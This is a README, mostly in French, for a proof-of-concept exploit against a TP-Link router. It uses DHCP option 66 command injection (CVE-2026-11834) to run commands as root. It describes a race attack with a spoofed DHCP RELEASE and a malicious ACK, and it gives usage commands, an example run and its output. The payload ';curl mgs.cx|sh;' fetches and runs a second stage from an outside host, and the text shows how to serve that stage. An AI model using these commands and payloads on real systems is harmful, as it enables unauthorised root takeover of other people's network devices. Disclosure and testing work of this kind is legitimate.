
Proof of Concept (PoC) for the TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)
Exécution de code à distance non authentifiée via l'option DHCP 66 de TP-Link (CVE-2026-11834)
Une vulnérabilité d'injection de commandes (CWE-78) dans la gestion de l'option DHCP 66 ("Nom du serveur TFTP") du firmware des routeurs TP-Link permet à un attaquant non authentifié sur le même segment réseau d'exécuter des commandes arbitraires en tant que root. Lorsque l'appareil agit en tant que client DHCP sur son interface WAN, la valeur de l'option 66 renvoyée dans un bail est concaténée sans échappement dans une commande shell tftp au sein de libcmm.so. Cinq fonctions construisent cette commande et la passent à util_execSystem(), qui appelle system(), de sorte qu'une valeur d'option 66 malveillante est interprétée comme une entrée shell et exécutée en tant que root.
La valeur de l'option 66 est tronquée à 16 caractères sur l'appareil, donc la charge utile est un mini fetch-and-execute (;curl <domaine>|sh;) qui récupère un deuxième étage plus long via HTTP.
L'attaquant n'a pas besoin de contrôler le serveur DHCP. Ce PoC entre en compétition avec le serveur légitime sur le segment : il usurpe un RELEASE DHCP en tant que cible pour effacer son bail, attend que la cible réacquière son bail, puis répond à la diffusion de la cible avec une OFFER/ACK malveillante contenant la charge utile avant que le serveur légitime ne réponde.
Cette preuve de concept (PoC) a été testée sur le TP-Link Archer C20 V6 (firmware 0.9.1 Build 4.19, UE). Le chemin de code vulnérable est partagé sur une gamme de routeurs TP-Link ; les décalages mémoire, les adresses de fonctions et le comportement peuvent différer sur d'autres modèles ou versions de firmware.
Ce PoC délivre une charge utile option 66 qui est exécutée en tant que root sur l'appareil cible. Exécutez-le uniquement sur du matériel dont vous êtes propriétaire ou que vous êtes explicitement autorisé à tester.
$ sudo python3 cve-2026-11834.py <ip_cible> -i <interface> -s <ip_serveur_dhcp> -S <mac_serveur_dhcp> -p '<charge_utile>'
Exemple d'exécution :
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
Le serveur de charge utile sert un deuxième étage que l'appareil récupère et exécute. Par exemple :
$ cat index.html
[charge utile du deuxième étage]
$ sudo python3 -m http.server 80
| Argument | Description |
|---|
target_ip | Adresse IP actuelle de l'appareil cible |
-i, --interface | Interface réseau sur le segment de la cible |
-s, --server-ip | IP du serveur DHCP légitime |
-S, --server-mac | MAC du serveur DHCP légitime |
-p, --payload | Valeur de l'option 66 (<=16 caractères), ex. `;curl |
-t, --target-mac | MAC cible (auto-résolu via ARP si omis) |
-a, --attacker-ip | Server-id annoncé dans le bail malveillant (par défaut l'IP de l'interface) |